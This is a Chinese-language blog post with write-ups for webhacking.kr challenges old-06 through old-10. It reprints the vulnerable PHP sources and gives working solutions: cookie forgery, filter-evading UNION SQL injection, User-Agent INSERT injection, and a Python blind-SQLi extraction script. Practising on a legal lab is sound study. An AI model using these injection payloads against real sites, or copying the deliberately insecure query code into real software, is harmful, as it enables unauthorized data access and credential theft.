webhacking.kr 一天五題系列 II

Albert Huang MED student | CS enthusiast

old-06

本題考點:Client-Side State Forgery(CSSF)、對稱編碼與混淆還原

題目給了一組 ID 和 PW,目前還不知道用途,先來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
if(!$_COOKIE['user']){
$val_id="guest";
$val_pw="123qwe";
for($i=0;$i<20;$i++){
$val_id=base64_encode($val_id);
$val_pw=base64_encode($val_pw);
}
$val_id=str_replace("1","!",$val_id);
$val_id=str_replace("2","@",$val_id);
$val_id=str_replace("3","$",$val_id);
$val_id=str_replace("4","^",$val_id);
$val_id=str_replace("5","&",$val_id);
$val_id=str_replace("6","*",$val_id);
$val_id=str_replace("7","(",$val_id);
$val_id=str_replace("8",")",$val_id);

$val_pw=str_replace("1","!",$val_pw);
$val_pw=str_replace("2","@",$val_pw);
$val_pw=str_replace("3","$",$val_pw);
$val_pw=str_replace("4","^",$val_pw);
$val_pw=str_replace("5","&",$val_pw);
$val_pw=str_replace("6","*",$val_pw);
$val_pw=str_replace("7","(",$val_pw);
$val_pw=str_replace("8",")",$val_pw);

Setcookie("user",$val_id,time()+86400,"/challenge/web-06/");
Setcookie("password",$val_pw,time()+86400,"/challenge/web-06/");
echo("<meta http-equiv=refresh content=0>");
exit;
}
?>
<html>
<head>
<title>Challenge 6</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<?php
$decode_id=$_COOKIE['user'];
$decode_pw=$_COOKIE['password'];

$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);

$decode_pw=str_replace("!","1",$decode_pw);
$decode_pw=str_replace("@","2",$decode_pw);
$decode_pw=str_replace("$","3",$decode_pw);
$decode_pw=str_replace("^","4",$decode_pw);
$decode_pw=str_replace("&","5",$decode_pw);
$decode_pw=str_replace("*","6",$decode_pw);
$decode_pw=str_replace("(","7",$decode_pw);
$decode_pw=str_replace(")","8",$decode_pw);

for($i=0;$i<20;$i++){
$decode_id=base64_decode($decode_id);
$decode_pw=base64_decode($decode_pw);
}

echo("<hr><a href=./?view_source=1 style=color:yellow;>view-source</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");

if($decode_id=="admin" && $decode_pw=="nimda"){
solve(6);
}
?>
</body>
</html>

可以發現它是用 cookie 來確認 idpw 的值,在編碼的部分,首先會對原始值進行 20 次 base64 encode,接著使用符號替換掉 1~8 的數字,來作為 cookie 的值,而在 73 行可以看到,我們要將 id 設為 adminpw 設為 nimda,所以一樣透過 source code 編碼的邏輯即可解決。

使用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64

id = 'admin'
pw = 'nimda'

for i in range(20):
id = base64.b64encode(id.encode()).decode()
pw = base64.b64encode(pw.encode()).decode()

id = id.replace("1", "!")
id = id.replace("2", "@")
id = id.replace("3", "$")
id = id.replace("4", "^")
id = id.replace("5", "&")
id = id.replace("6", "*")
id = id.replace("7", "(")
id = id.replace("8", ")")

pw = pw.replace("1", "!")
pw = pw.replace("2", "@")
pw = pw.replace("3", "$")
pw = pw.replace("4", "^")
pw = pw.replace("5", "&")
pw = pw.replace("6", "*")
pw = pw.replace("7", "(")
pw = pw.replace("8", ")")

print(id)
print(pw)

填入 cookie 即可。

old-07

本題考點:WAF bypass、Probabilistic SQLi

題目是一個需要 auth admin 的介面,直接按會顯示 Access_Denied!,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 7</title>
</head>
<body>
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
$result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
$result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
$result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
$result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

我們可以先看到第 36 行的地方是進入 Admin Page 的條件,$data[0] == 2,再看到上方的隨機 SQL expression,意即要讓 lv=2,而 lv 受到 $go 控制。但再繼續往上看到第 13 行,限制了我們可以輸入到 $go 中的內容。

1
2
3
4
5
/2|-|\+|from|_|=|\\s|\*|\//i

/.../:delimiters
i:case sensitive
|:or

根據上面的說明,他限制了以下幾點:

  1. 直接設定 $go=2
  2. 禁止表達式中出現 -+from_=\s 空白字元、*/

因此我們需要嘗試使用其他字元來繞過他,這裡面並沒有限制 UNIONSELECT 等字的用法,不過因為限制空白字元,因此我們需要用括號來替代他。此外,因為限制直接輸入 2,因此可以用 LENGTH('aa') 來繞過,而括號閉合則有 的機率選到只有一個括號閉合的 rand=1,因此以該狀況來實作即可。完整表達式如下:

1
select lv from chall7 where lv=(0)UNION(SELECT(LENGTH('aa')))

old-08

本題考點:HTTP 標頭惡意篡改、SQL Injection in INSERT/UPDATE

來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
echo("<br>Access Denied!<br><br>");
echo(htmlspecialchars($agent));
exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
echo "hi <b>".htmlentities($ck[0])."</b><p>";
if($ck[0]=="admin"){
mysqli_query($db,"delete from chall8");
solve(8);
}
}

if(!$ck){
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
echo("<br><br>done! ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

我們的最終目標是讓 $ck[0]=="admin",而 $ck 的內容來自 $_SERVER['HTTP_USER_AGENT'] 的查詢,但我們只能透過 User-Agent 控制 $agent,因此可以看到下面的地方:

1
2
3
4
if(!$ck){
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
echo("<br><br>done! ({$count_ck[0]}/70)");
}

這裡存在漏洞可以讓我們控制寫入的內容,並且直接將資料寫入資料庫中,因此我們可以先設定特殊的值給 $agent,透過 SQLi 控制參數讓 id=admin 後,再用特定的 User Agent 登入 admin

Payload 如下:

1
2
m3t30r', 'X.X.X.X', 'admin')#
-> insert into chall8(agent,ip,id) values('m3t30r', 'X.X.X.X', 'admin')#','{$ip}','guest')

使用 BurpSuite 實作即可。

old-09

本題考點:SQLi with WAF bypass

題目上有三個連結,第三個點進去長這樣:

1
2
3
4
Secret

column : id,no
no 3's id is password

很明顯又是個 blind SQLi,來寫 code 吧。

我們可以用 if 表達式來設定在 true/false 下應該顯示的頁面來判斷,但這個參數 no 限制了 = 和某一些 ascii 的使用,因此我使用 like 來取代,並且用 hex 來取代 char 比對。

使用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import string

def get_length():
length = 0
while True:
payload = f'if(LENGTH(id)like({length}),3,0)'
params = f'no={payload}'
r = requests.get('https://webhacking.kr/challenge/web-09/index.php', params=params)
if 'Secret' in r.text:
return length
length += 1

def get_name(length):
name = ''
for i in range(1, length+1):
for char in string.printable:
payload = f'if(SUBSTR(id,{i},1)like({hex(ord(char))}),3,0)'
params = f'no={payload}'
r = requests.get('https://webhacking.kr/challenge/web-09/index.php', params=params)
if 'Secret' in r.text:
name += char
break
return name

id_length = get_length()
password = get_name(id_length)

old-10

本題考點:Insecure Client-Side Logic

進到題目有點無俚頭,看一下source code:

1
2
3
4
5
6
<table border="0" width="1800" style="background:gray">
<tbody><tr><td>
<a id="hackme" style="position:relative;left:0;top:0" onclick="this.style.left=parseInt(this.style.left,10)+1+'px';if(this.style.left=='1600px')this.href='?go='+this.style.left" onmouseover="this.innerHTML='yOu'" onmouseout="this.innerHTML='O'">O</a><br>
<font style="position:relative;left:1600;top:0" color="gold">|<br>|<br>|<br>|<br>Goal</font>
</td></tr>
</tbody></table>

看起來是個類似跑道的設計,然後我們必須讓 O 通過終點線 1600 px 處,但用按的每按一次只會前進 1 px,所以直接把 styleleft 改為 1600 即可過關。

  • Title: webhacking.kr 一天五題系列 II
  • Author: Albert Huang
  • Created at : 2026-06-13 15:06:57
  • Updated at : 2026-06-26 14:08:16
  • Link: https://blog.albert-web.tw/2026/06/13/webhacking-writeup-2/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 II